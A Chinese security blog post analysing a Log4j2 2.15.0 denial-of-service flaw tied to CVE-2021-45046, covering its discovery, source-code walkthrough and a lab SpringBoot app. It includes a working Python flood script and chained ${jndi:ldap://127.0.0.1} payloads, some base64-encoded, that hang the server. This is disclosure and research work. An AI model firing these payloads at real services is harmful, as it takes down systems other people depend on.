Apache Log4j2拒绝服务漏洞分析

简介: Apache Log4j2拒绝服务漏洞分析

介绍

在Log4j2爆出RCE漏洞后,官方给出了RC1和RC2的修复,在之前的文章中有详细分析

在RC2的修复之前,其实就存在DOS的可能,但我在RC2的修复后,发现仍然可以造成拒绝服务漏洞

于是在RC2修复补丁发布后几小时内向Apache Logging PMC报告了该问题

d7756920e12f34b799f70f2a991cb362_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

得到了官方的认可和致谢

726763cf3489791f182e10172290632c_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg

其实当时没有想过申请CVE等步骤,但在今天早上看到了Log4j2发布了CVE-2021-45046漏洞报告,这个CVE正是拒绝服务相关,不过漏洞credit信息并不是我,而是国外某团队

087b749ee8ecb87a136ddfd7a5b39673_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

具体链接参考:

https://logging.apache.org/log4j/2.x/security.html

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45046


大致阅读CVE-2021-45046相关的信息后,发现和我提交的DOS漏洞略有不同,但核心部分是一致的


在2.15.0版本利用的前提:该漏洞必须在开启lookup功能的情况下触发

一种常见的开启姿势是在log4j2.xml中:

<appenders>
   <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
       <PatternLayout pattern="%msg{lookups}%n"/>
   </console>
</appenders>



这篇文章就从三个方面来谈一谈这个拒绝服务漏洞

  • 我是如何发现这个拒绝服务漏洞的
  • 这个CVE描述的漏洞与我发现的有什么相同和不同之处
  • 这种拒绝服务漏洞的实际利用场景


挖掘过程

回顾RC1和RC2的修复:如果存在JndiLookup那么会判断其中的的host是否合法

if (!allowedHosts.contains(uri.getHost())) {
   LOGGER.warn("Attempt to access ldap server not in allowed list");
   return null;
}


而allowedHosts中一定包含有localhost和127.0.0.1

// 拿到本地IP
private static final List<String> permanentAllowedHosts = NetUtils.getLocalIps();
...
addAll(hosts, allowedHosts, permanentAllowedHosts, ALLOWED_HOSTS, data);
return new JndiManager(...,allowedHosts,...);


这说明如果LDAP服务端在127.0.0.1可以成功lookup

然而黑客不可能凭空在服务端本地开启一个恶意的LDAP Server

我想到lookup本质是网络相关的操作,会有阻塞的可能。可以构造出Payload使程序lookup本地,而本地不可能开LDAP Server,于是发生超时等待,也许会有拒绝服务漏洞的可能

于是修改了RC2的源码,加入了统计时间代码,分析lookup的超时情况

(下文分析为什么阻塞的方法不是looup而是context.getAttributes)

if (!allowedHosts.contains(uri.getHost())) {
   LOGGER.warn("Attempt to access ldap server not in allowed list");
   return null;
}
long startTime = System.currentTimeMillis();
Attributes attributes = null;
try {
   // 阻塞方法
   attributes = this.context.getAttributes(name);
}catch (Exception ignored){
}
long endTime = System.currentTimeMillis();
System.out.println(endTime-startTime);


测试以上打印时间的代码会发现总是打印2000左右,说明超时时间为2秒


深入getAttributes可以看到这样的方法

static ResolveResult getUsingURLIgnoreRootDN(String var0, Hashtable<?, ?> var1) throws NamingException {
   LdapURL var2 = new LdapURL(var0);
   // 跟入
   LdapCtx var3 = new LdapCtx("", var2.getHost(), var2.getPort(), var1, var2.useSsl());
   String var4 = var2.getDN() != null ? var2.getDN() : "";
   CompositeName var5 = new CompositeName();
   if (!"".equals(var4)) {
       var5.add(var4);
  }
   return new ResolveResult(var3, var5);
}


在new LdapCtx方法中存在connect操作导致阻塞

(其实connect方法还有几步才会到达最底层的阻塞,不过没有必要继续分析了)

public LdapCtx(String var1, String var2, int var3, Hashtable<?, ?> var4, boolean var5) throws NamingException {
  ...
   try {
       this.connect(false);
  }
  ...
}

回到之前的问题:为什么阻塞的不是lookup而是getAttributes方法

当前代码在连接超时后会抛出异常,走不到lookup方法

7b9b47457911e3b10f647a91aa0098ec_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


其实在lookup方法中应该也会造成阻塞,简单往里面跟一下会发现类似的代码

// 从Attributes里获取属性
// 那么应该调用了getAttributes之类的阻塞方法
if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
   var3 = Obj.decodeObject((Attributes)var4);
}
if (var3 == null) {
   // 类似的代码
   var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
}


现在发现了能让程序阻塞的办法,那么怎样构造Payload以达成更长时间的阻塞呢

Log4j2在处理${}是递归解析,也就是说会处理一个字符串中的所有${}并分别处理对应的值,每一次的处理都会造成2秒的等待,所以只需简单的拼接即可

private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length,
                      List<String> priorVariables) {
  ...
   substitute(event, bufName, 0, bufName.length());
  ...
   String varValue = resolveVariable(event, varName, buf, startPos, endPos);
  ...
   int change = substitute(event, buf, startPos, varLen, priorVariables);
}

例如我拼接三个会阻塞更长的时间

(这里是针对本地80端口,实际上可以用大概率关闭的高位端口)

${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}${jndi:ldap://127.0.0.1}


这时候会有师傅产生疑问:

在一个web请求中,这样的payload只能让我当前的请求阻塞住,如何实现真正的拒绝服务攻击,让目标网站无法正常处理别人的请求呢?我将在后文给大家展示


利用场景

造一个SpringBoot项目,在resources下添加配置文件开启lookup功能

<configuration status="OFF" monitorInterval="30">
    <appenders>
        <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
            <PatternLayout pattern="%msg{lookups}%n"/>
        </console>
    </appenders>
    <loggers>
        <root level="error">
            <appender-ref ref="CONSOLE-APPENDER"/>
        </root>
    </loggers>
</configuration>


为了制造场景所以要移除了SpringBoot自带的日志依赖,而选用Log4j2

另外引入starter-web以编写Controller模拟真实的接口供测试

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
    <exclusions>
        <exclusion>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-logging</artifactId>
        </exclusion>
    </exclusions>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.15.0</version>
</dependency>
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.15.0</version>
</dependency>
<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>


模拟一个接口:接受message参数并Base64解码后打印日志

@Controller
public class TestController {
    private static final Logger logger = LogManager.getLogger(TestController.class);
    @RequestMapping("/test")
    @ResponseBody
    public String test(String message) {
        try {
            // Base64解码
            String data = new String(Base64.getDecoder().decode(message));
            logger.error("message:" + data);
        } catch (Exception e) {
            return e.getMessage();
        }
        return "";
    }
}


使用Python编写EXP打自己的靶机

import base64
import threading
import requests
# 每一个Payload将会导致阻塞20秒
payload = "${jndi:ldap://127.0.0.1}" * 10
payload = base64.b64encode(bytes(payload, encoding="utf-8"))
url = "http://127.0.0.1:8080/test?message=" + str(payload, encoding="utf-8")
def work():
    requests.get(url)
if __name__ == '__main__':
    threadList = []
    # 多线程请求
    for i in range(1000):
        t = threading.Thread(target=work)
        threadList.append(t)
        t.start()
    for thread in threadList:
        thread.join()


启动SpringBoot项目后,可以用这个Python脚本成功造成拒绝服务漏洞


CVE分析

接下来分析这个CVE,其实我不确定对于这个CVE的解读是否正确

在Log4j2.xml中支持一种配置从上下文中取值:例如这个例子可以取到loginId值

<Appenders>
    <Console name="STDOUT" target="SYSTEM_OUT">
        <PatternLayout>
            <pattern>%d %p %c{1.} [%t] $${ctx:loginId} %m%n</pattern>
        </PatternLayout>
    </Console>
</Appenders>

如果程序这样写

public static void main(String[] args) throws Exception{
    ThreadContext.put("loginId","1}");
    logger.error("xxx");
}


将会打印

2021-12-15 12:03:53,860 ERROR Main [main] 1 xxx


如果代码这样写将会导致类似的拒绝服务

ThreadContext.put("loginId","${jndi:ldap://127.0.0.1}");
logger.error("xxx");


在xml中有另一种效果相同的配置方式,但这种写法反而不会触发${}解析

<Appenders>
    <Console name="STDOUT" target="SYSTEM_OUT">
        <PatternLayout>
            <pattern>%d %p %c{1.} [%t] %X{loginId} %m%n</pattern>
        </PatternLayout>
    </Console>
</Appenders>


在issue中也有人证实了这一点

cb12563fc17145ff5565e1fba8fa946e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


关于拒绝服务的分析上文已有,重点看一下ContextMapLookup

@Override
public String lookup(final String key) {
    return currentContextData().getValue(key);
}
@Override
public String lookup(final LogEvent event, final String key) {
    return event.getContextData().getValue(key);
}


这里的contextData正是一个简单的Map

58b2d610dcb7f2e68288390841097f5b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


在resolveVariable方法返回

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    // 取出了${jndi:ldap://127.0.0.1}
    return resolver.lookup(event, variableName);
}


取出的payload在下一次的递归中成功被lookup

f948950b8bd6c97b5cde26d2905b4efc_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


不难发现lookup时是从event中取Map那么该Map是如何保存到event中的呢

定位到创建LogEvent的方法ReusableLogEventFactory.createEvent

@Override
public LogEvent createEvent(final String loggerName, final Marker marker, final String fqcn,
                            final StackTraceElement location, final Level level, final Message message,
                            final List<Property> properties, final Throwable t) {
    if (result == null || result.reserved) {
        final boolean initThreadLocal = result == null;
        // 这个类中包含了空的context
        result = new MutableLogEvent();
        ...
    }
    ...
    // 真正设置context属性
    result.setContextData(injector.injectContextData(properties, (StringMap) result.getContextData()));
    result.setContextStack(ThreadContext.getDepth() == 0 ? ThreadContext.EMPTY_STACK : ThreadContext.cloneStack());
    ...
    return result;
}

跟入ThreadContextDataInjector.injectContextData方法

@Override
public StringMap injectContextData(final List<Property> props, final StringMap ignore) {
    if (providers.size() == 1 && (props == null || props.isEmpty())) {
        // 跟入supplyStringMap
        return providers.get(0).supplyStringMap();
    }
    ...
}


进入ThreadContextDataProvider.supplyStringMap方法

@Override
public StringMap supplyStringMap() {
    return ThreadContext.getThreadContextMap().getReadOnlyContextData();
}

在getReadOnlyContextData中获得这个Map

1ec42d975db72f45e4ae5bb00d211d57_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


再没有必要做进一步的分析了,这个拒绝服务漏洞原理已经清晰了


CVE利用场景

CVE中提到的利用场景应该更为广泛

通常情况下,记录登录用户的身份等信息是常见的操作

如果程序员选择了Log4j2这种ctx记录的方式而不是手动拼接字符串,将会导致该漏洞

@RequestMapping("/test")
@ResponseBody
public String test(String userId) {
    try {
        String id = new String(Base64.getDecoder().decode(userId));
        // 记录用户登录ID
        ThreadContext.put("loginId", id);
        // 记录该用户已登录
        logger.info("user login");
        // 其他业务逻辑
        // ...
    } catch (Exception e) {
        return e.getMessage();
    }
    return "";
}

正常情况下:http://localhost:8080/test?userId=MQ==

将会记录

2021-12-15 12:51:27,845 [http-nio-8080-exec-1] 1 user login


如果打Payload则报错并成功阻塞

http://localhost:8080/test?userId=JHtqbmRpOmxkYXA6Ly8xMjcuMC4wLjF9


改写下Python脚本即可成功拒绝服务

url = "http://127.0.0.1:8080/test?userId=" + str(payload, encoding="utf-8")


代码

SpringBoot搭建的利用环境代码:https://github.com/EmYiQing/Log4j2DoS

相关文章
|
10天前
|
存储 自然语言处理 分布式计算
Apache Doris 3.1 正式发布:半结构化分析全面升级,湖仓一体能力再跃新高
Apache Doris 3.1 正式发布!全面升级半结构化分析,支持 VARIANT 稀疏列与模板化 Schema,提升湖仓一体能力,增强 Iceberg/Paimon 集成,优化存储引擎与查询性能,助力高效数据分析。
112 3
Apache Doris 3.1 正式发布:半结构化分析全面升级,湖仓一体能力再跃新高
|
17天前
|
监控 安全 搜索推荐
使用EventLog Analyzer进行日志取证分析
EventLog Analyzer助力企业通过集中采集、归档与分析系统日志及syslog,快速构建“数字犯罪现场”,精准追溯安全事件根源。其强大搜索功能可秒级定位入侵时间、人员与路径,生成合规与取证报表,确保日志安全防篡改,大幅提升调查效率,为执法提供有力证据支持。
|
6月前
|
存储 运维 监控
SelectDB 实现日志高效存储与实时分析,完成任务可领取积分、餐具套装/水杯/帆布包!
SelectDB 实现日志高效存储与实时分析,完成任务可领取积分、餐具套装/水杯/帆布包!
|
6月前
|
SQL 监控 数据挖掘
SLS 重磅升级:超大规模数据实现完全精确分析
SLS 全新推出的「SQL 完全精确」模式,通过“限”与“换”的策略切换,在快速分析与精确计算之间实现平衡,满足用户对于超大数据规模分析结果精确的刚性需求。标志着其在超大规模日志数据分析领域再次迈出了重要的一步。
498 117
|
3月前
|
监控 安全 NoSQL
【DevOps】Logstash详解:高效日志管理与分析工具
Logstash是ELK Stack核心组件之一,具备强大的日志收集、处理与转发能力。它支持多种数据来源,提供灵活的过滤、转换机制,并可通过插件扩展功能,广泛应用于系统日志分析、性能优化及安全合规等领域,是现代日志管理的关键工具。
426 0
|
5月前
|
自然语言处理 监控 安全
阿里云发布可观测MCP!支持自然语言查询和分析多模态日志
阿里云可观测官方发布了Observable MCP Server,提供了一系列访问阿里云可观测各产品的工具能力,包含阿里云日志服务SLS、阿里云应用实时监控服务ARMS等,支持用户通过自然语言形式查询
532 0
阿里云发布可观测MCP!支持自然语言查询和分析多模态日志
|
7月前
|
存储 SQL Apache
为什么 Apache Doris 是比 Elasticsearch 更好的实时分析替代方案?
本文将从技术选型的视角,从开放性、系统架构、实时写入、实时存储、实时查询等多方面,深入分析 Apache Doris 与 Elasticsearch 的能力差异及性能表现
553 17
为什么 Apache Doris 是比 Elasticsearch 更好的实时分析替代方案?
|
4月前
|
人工智能 运维 监控
Aipy实战:分析apache2日志中的网站攻击痕迹
Apache2日志系统灵活且信息全面,但安全分析、实时分析和合规性审计存在较高技术门槛。为降低难度,可借助AI工具如aipy高效分析日志,快速发现攻击痕迹并提供反制措施。通过结合AI与学习技术知识,新手运维人员能更轻松掌握复杂日志分析任务,提升工作效率与技能水平。
|
7月前
|
存储 消息中间件 缓存
MiniMax GenAI 可观测性分析 :基于阿里云 SelectDB 构建 PB 级别日志系统
基于阿里云SelectDB,MiniMax构建了覆盖国内及海外业务的日志可观测中台,总体数据规模超过数PB,日均新增日志写入量达数百TB。系统在P95分位查询场景下的响应时间小于3秒,峰值时刻实现了超过10GB/s的读写吞吐。通过存算分离、高压缩比算法和单副本热缓存等技术手段,MiniMax在优化性能的同时显著降低了建设成本,计算资源用量降低40%,热数据存储用量降低50%,为未来业务的高速发展和技术演进奠定了坚实基础。
275 1
MiniMax GenAI 可观测性分析 :基于阿里云 SelectDB 构建 PB 级别日志系统
|
7月前
|
SQL 存储 自然语言处理
让跨 project 联查更轻松,SLS StoreView 查询和分析实践
让跨 project 联查更轻松,SLS StoreView 查询和分析实践
131 1

热门文章

最新文章

推荐镜像

更多